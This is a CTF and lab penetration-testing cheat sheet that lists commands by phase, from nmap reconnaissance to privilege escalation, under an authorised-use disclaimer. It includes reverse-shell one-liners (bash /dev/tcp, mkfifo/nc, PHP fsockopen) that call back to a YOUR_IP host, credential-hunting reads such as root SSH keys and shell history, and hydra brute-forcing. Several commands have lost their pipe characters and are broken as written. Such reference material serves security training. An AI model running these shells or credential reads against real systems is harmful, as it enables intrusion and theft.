

CTF COMMAND ARSENAL

Commands organized by use-case — with syntax, purpose, and where each one applies

AUTHORIZED USE ONLY — These commands are for CTF platforms (HackTheBox, TryHackMe, VulnHub, PicoCTF) and lab machines you own or are explicitly permitted to test. Replace TARGET_IP / YOUR_IP with the relevant addresses. Using them against systems without authorization is illegal.

This cheat-sheet is split into the phases of a typical CTF / box: reconnaissance, service enumeration, web enumeration, vulnerability discovery, gaining access, file & stego forensics, cracking & encoding, post-exploitation, and privilege escalation. Jump to the category you need and copy the syntax straight across.

Category	Use it for
1. Reconnaissance	Discover hosts, open ports, services, versions
2. Service Enumeration	Dig into SMB, FTP, DNS, SNMP, SSH, databases
3. Web Enumeration	Find hidden dirs, files, vhosts, parameters, CMS info
4. Vulnerability Discovery	Scan for known weaknesses & misconfigurations
5. Gaining Access	Reverse shells, shell upgrades, credential use
6. File & Steganography Forensics	Identify, repair, and extract hidden data from files
7. Password Cracking & Encoding	Hashes, zip/doc cracking, decode base64/hex
8. Post-Exploitation & Loot	Find secrets, transfer files, enumerate the host
9. Privilege Escalation	sudo, SUID, cron, capabilities, kernel, GTF0Bins

1 Reconnaissance

The first job on any box: find out what is running before touching it. Start broad, then scan deep on what you find.

Command / Tool	What it does	Syntax / Example	Where it is used
<code>nmap</code>	Aggressive scan: OS, versions, default scripts, traceroute	<code>nmap -A -T4 TARGET_IP</code>	First look at any target
<code>nmap -p-</code>	Scan all 65535 TCP ports (nothing missed)	<code>nmap -p- -T4 TARGET_IP</code>	When default scan seems incomplete
<code>nmap -sC -sV</code>	Default scripts + version detection on known ports	<code>nmap -sC -sV -p22,80 TARGET_IP</code>	Deep dive on discovered ports
<code>nmap -sU</code>	UDP scan (DNS, SNMP, TFTP hide here)	<code>sudo nmap -sU --top-ports 20 TARGET_IP</code>	When TCP looks empty
<code>nmap -sV --script vuln</code>	Run vuln-detection NSE scripts	<code>nmap -sV --script vuln TARGET_IP</code>	Quick known-CVE check
<code>rustscan</code>	Very fast port scanner, pipes into nmap	<code>rustscan -a TARGET_IP -- -A</code>	Speeding up the initial sweep

ping	Check host is reachable	ping -c 4 TARGET_IP	Confirm the box is up
masscan	Extremely fast internet-scale port scan	masscan -p1-65535 TARGET_IP --rate 1000	Huge port ranges fast

2 Service Enumeration

Once ports are known, interrogate each service for shares, files, users and versions.

Command / Tool	What it does	Syntax / Example	Where it is used
enum4linux	All-in-one SMB/Windows enumeration	enum4linux -a TARGET_IP	SMB (139/445) on a box
smbclient	List & access SMB shares	smbclient -L //TARGET_IP/ -N	Browsing network shares
smbmap	Show share permissions	smbmap -H TARGET_IP	Finding readable/writable shares
ftp	Connect to FTP (try anonymous)	ftp TARGET_IP (user: anonymous)	FTP (21) open
showmount	List NFS exports	showmount -e TARGET_IP	NFS (2049) present
snmpwalk	Walk SNMP tree for system info	snmpwalk -v2c -c public TARGET_IP	SNMP (161/udp)
dig / nslookup	DNS queries & zone transfer attempt	dig axfr @TARGET_IP domain.htb	DNS (53) open
ssh	Connect via SSH with creds	ssh user@TARGET_IP	After recovering credentials
mysql	Connect to MySQL	mysql -h TARGET_IP -u root -p	MySQL (3306) + creds
redis-cli	Connect to Redis	redis-cli -h TARGET_IP	Redis (6379) open

3 Web Enumeration

Web services are the most common foothold. Map everything the site does not link to.

Command / Tool	What it does	Syntax / Example	Where it is used
gobuster dir	Brute-force directories & files	gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirb/common.txt	Any HTTP/HTTPS service
gobuster (ext)	Same, testing file extensions	gobuster dir -u URL -w LIST -x php,txt,bak,html	Finding source/backup files
ffuf	Fast fuzzing of dirs/params/vhosts	ffuf -u http://TARGET_IP/FUZZ -w LIST	Flexible fuzzing
feroxbuster	Recursive content discovery	feroxbuster -u http://TARGET_IP	Deep recursive enum
gobuster vhost	Discover virtual hosts	gobuster vhost -u http://domain.htb -w LIST	Name-based vhosts
ffuf (param)	Fuzz GET/POST parameters	ffuf -u "http://IP/page?FUZZ=1" -w LIST	Hidden parameters
nikto	Web server vuln & misconfig scan	nikto -h http://TARGET_IP	Quick web weakness scan
whatweb	Fingerprint web technologies	whatweb http://TARGET_IP	Identify CMS/framework
wpscan	WordPress-specific enumeration	wpscan --url http://TARGET_IP --enumerate u	WordPress sites

<code>curl</code>	Inspect headers, raw responses	<code>curl -i http://TARGET_IP</code>	Manual request inspection
-------------------	--------------------------------	---------------------------------------	---------------------------

4 Vulnerability Discovery

Turn version numbers and behaviours into known exploits.

Command / Tool	What it does	Syntax / Example	Where it is used
<code>searchsploit</code>	Search Exploit-DB offline	<code>searchsploit apache 2.4</code>	After getting a version number
<code>nmap --script vuln</code>	NSE vulnerability scripts	<code>nmap --script vuln -p80 TARGET_IP</code>	Service-level vuln check
<code>nuclei</code>	Template-based vuln scanner	<code>nuclei -u http://TARGET_IP</code>	Fast modern web vuln scan
<code>sqlmap</code>	Automated SQL injection testing	<code>sqlmap -u "http://IP/p?id=1" --batch</code>	Suspected SQLi parameter
<code>CVE lookup</code>	Map version to public CVE	<code>(search the version + "exploit")</code>	Any identified software

Note: command injection, file upload, LFI/RFI and SSTI are usually found by manual testing of inputs rather than a single command. Where your input is reflected into a command, a file path, or a template, that is the spot to probe.

5 Gaining Access (Shells)

Once you have code execution, call back a shell and upgrade it to something usable. Start a listener on your box first: `nc -lvnp 4444`

Command / Tool	What it does	Syntax / Example	Where it is used
<code>bash reverse shell</code>	Call back a shell over TCP	<code>bash -i >& /dev/tcp/YOUR_IP/4444 0>&1</code>	Target has bash
<code>nc / mkfifo shell</code>	Netcat shell when -e is unavailable	<code>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f sh -i 2>&1 nc YOUR_IP 4444 >/tmp/f</code>	Netcat present
<code>python pty shell</code>	Spawn an interactive TTY shell	<code>python3 -c 'import pty;pty.spawn("/bin/bash")'</code>	Upgrading a dumb shell
<code>TTY upgrade</code>	Full interactive terminal	<code>Ctrl-Z; stty raw -echo; fg; export TERM=xterm</code>	After pty spawn
<code>nc listener</code>	Receive the incoming shell	<code>nc -lvnp 4444</code>	On YOUR attack box
<code>whoami / id</code>	Confirm who you landed as	<code>whoami ; id</code>	Immediately after shell
<code>php reverse shell</code>	Web shell → reverse shell	<code>php -r '\$s=fsockopen("YOUR_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'</code>	PHP web app

6 File & Steganography Forensics

CTFs love hiding data inside files. A wrong extension or a corrupt header is almost always a deliberate clue.

Command / Tool	What it does	Syntax / Example	Where it is used
<code>file</code>	Identify true type from magic bytes	<code>file suspicious.jpg</code>	Verifying a file is what it claims
<code>xxd</code>	View/edit raw bytes (hex dump)	<code>xxd file.jpg head</code>	Inspecting/fixing file headers
<code>exiftool</code>	Read metadata (often leaks secrets)	<code>exiftool image.png</code>	Any media file
<code>binwalk</code>	Detect & carve embedded files	<code>binwalk -e file.png</code>	Files hidden inside files
<code>strings</code>	Pull readable text from a binary	<code>strings file.bin less</code>	Quick look for flags/creds
<code>steghide</code>	Extract data hidden with a passphrase	<code>steghide extract -sf image.jpg</code>	Passphrase steganography
<code>zsteg</code>	Detect LSB stego in PNG/BMP	<code>zsteg image.png</code>	PNG/BMP stego
<code>foremost</code>	Recover files by signature	<code>foremost -i file.dd</code>	Disk/data carving
<code>cat</code>	Dump file contents	<code>cat users.txt</code>	Reading recovered text files
<code>ls -la</code>	List all files incl. hidden	<code>ls -la</code>	Spotting hidden/odd files

Magic-byte signatures worth memorizing — PNG: 89 50 4E 47 · JPEG: FF D8 FF · GIF: 47 49 46 38 · PDF: 25 50 44 46 · ZIP/Office: 50 4B 03 04. If the header does not match the extension, repair it in a hex editor (hexedit, ghex, bless).

7 Password Cracking & Encoding

Recovered a hash or a locked file? Crack it. Found scrambled text? Decode it.

Command / Tool	What it does	Syntax / Example	Where it is used
<code>hashcat</code>	GPU hash cracking	<code>hashcat -m 0 hash.txt rockyou.txt</code>	Cracking hashes (mode per type)
<code>john</code>	CPU hash cracking	<code>john --wordlist=rockyou.txt hash.txt</code>	Cracking hashes / *2john files
<code>hashid</code>	Identify hash type	<code>hashid <hash></code>	Unknown hash format
<code>zip2john</code>	Extract hash from encrypted zip	<code>zip2john secret.zip > hash.txt</code>	Password-protected zip
<code>ssh2john</code>	Extract hash from SSH key	<code>ssh2john id_rsa > hash.txt</code>	Passphrase-protected key
<code>hydra</code>	Online brute-force of a login	<code>hydra -l user -P rockyou.txt TARGET_IP ssh</code>	Live SSH/FTP/HTTP login
<code>base64</code>	Encode/decode base64	<code>echo <str> base64 -d</code>	Decoding base64 strings
<code>xxd -r -p</code>	Hex → ASCII	<code>echo <hex> xxd -r -p</code>	Decoding hex
CyberChef	Visual decode/encode pipeline	(web tool: gchq.github.io/CyberChef)	Unknown/layered encoding

8 Post-Exploitation & Loot

You have a shell — now find secrets and move files between your box and the target.

Command / Tool	What it does	Syntax / Example	Where it is used
<code>find (creds)</code>	Hunt config/credential files	<code>find / -name "*.conf" 2>/dev/null</code>	Looking for stored secrets

<code>grep -r password</code>	Search for hard-coded passwords	<code>grep -ri "password" /var/www 2>/dev/null</code>	Web roots & configs
<code>cat flag</code>	Read the flag file	<code>cat user.txt ; cat /root/root.txt</code>	Collecting flags
<code>history</code>	Review shell history for secrets	<code>cat ~/.bash_history</code>	Any user shell
<code>python http.server</code>	Serve files from your box	<code>python3 -m http.server 8000</code>	Transferring tools to target
<code>wget / curl</code>	Pull a file onto the target	<code>wget http://YOUR_IP:8000/linpeas.sh</code>	Downloading tools in
<code>scp</code>	Copy files over SSH	<code>scp file user@TARGET_IP:/tmp/</code>	Secure file transfer
<code>nc transfer</code>	Move a file with netcat	<code>nc -lnp 9001 > out / nc YOUR_IP 9001 < file</code>	When no HTTP available

9 Privilege Escalation

The final climb from a user to root. Enumerate systematically, then abuse whatever is misconfigured.

Command / Tool	What it does	Syntax / Example	Where it is used
<code>sudo -l</code>	List what you may run via sudo	<code>sudo -l</code>	FIRST privesc check after any shell
<code>find SUID</code>	Find SUID root binaries	<code>find / -perm -4000 -type f 2>/dev/null</code>	Looking for exploitable binaries
<code>getcap</code>	Find files with capabilities	<code>getcap -r / 2>/dev/null</code>	Capability-based privesc
<code>crontab / cron</code>	Inspect scheduled jobs	<code>cat /etc/crontab ; ls -la /etc/cron.*</code>	Writable cron script abuse
<code>linpeas</code>	Automated privesc enumeration	<code>./linpeas.sh</code>	Broad automatic enumeration
<code>uname -a</code>	Kernel version (known exploits)	<code>uname -a ; cat /etc/os-release</code>	Kernel-exploit check
<code>GTF0Bins</code>	Abuse allowed binaries to escalate	(reference: gtfobins.github.io)	Any binary in sudo -l / SUID
<code>writable files</code>	Find root-owned writable files	<code>find / -writable -type f 2>/dev/null</code>	Config/script overwrite
<code>sudo su</code>	Switch to root after escalation	<code>sudo su</code>	Once you have full sudo rights
<code>ssh key abuse</code>	Read/plant keys for root login	<code>cat /root/.ssh/id_rsa</code>	Readable root key

10 The Order to Use Them In

Commands matter less than sequence. On every box, loop through this:

Step	Question	Category to pull from
1	What is running?	1. Reconnaissance
2	What can each service tell me?	2. Service + 3. Web enumeration
3	Is anything known-vulnerable?	4. Vulnerability discovery
4	How do I get code execution?	5. Gaining access

5	What is lying around to loot?	6. Forensics + 8. Post-exploitation
6	Can I crack what I found?	7. Cracking & encoding
7	How do I become root?	9. Privilege escalation

Keep this open during practice on authorized CTF platforms. Wordlists referenced (rockyou.txt, dirb/common.txt, dirbuster lists) ship with Kali/Parrot under /usr/share/wordlists/. Always confirm you have permission before testing any target.